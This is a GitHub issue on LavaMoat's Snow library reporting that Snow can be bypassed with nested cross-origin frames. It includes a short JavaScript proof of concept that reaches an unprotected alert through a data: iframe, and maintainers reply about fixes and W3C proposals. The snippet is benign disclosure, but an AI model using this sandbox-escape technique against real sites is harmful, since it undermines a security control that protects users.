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LavaMoat / snow

Use Snow to finally secure your web app's same origin realms!
https://lavamoat.github.io/snow/demo/
MIT License
100 stars 9 forks source link

Snow can be bypassed with nested cross-origin frames #152

Open deryilz opened 9 months ago

deryilz commented 9 months ago

Reproduce by running

let x = document.createElement('iframe')
x.src='data:text/html,<iframe src="https://lavamoat.github.io"></iframe>'
document.body.appendChild(x)

setTimeout(()=>{
    x.contentWindow[0].alert.call(window, 'hi')
},500)

honestly not sure how youd fix this

terjanq commented 9 months ago

seems to be duplicate of https://github.com/LavaMoat/snow/issues/136

naugtur commented 8 months ago

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this. The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.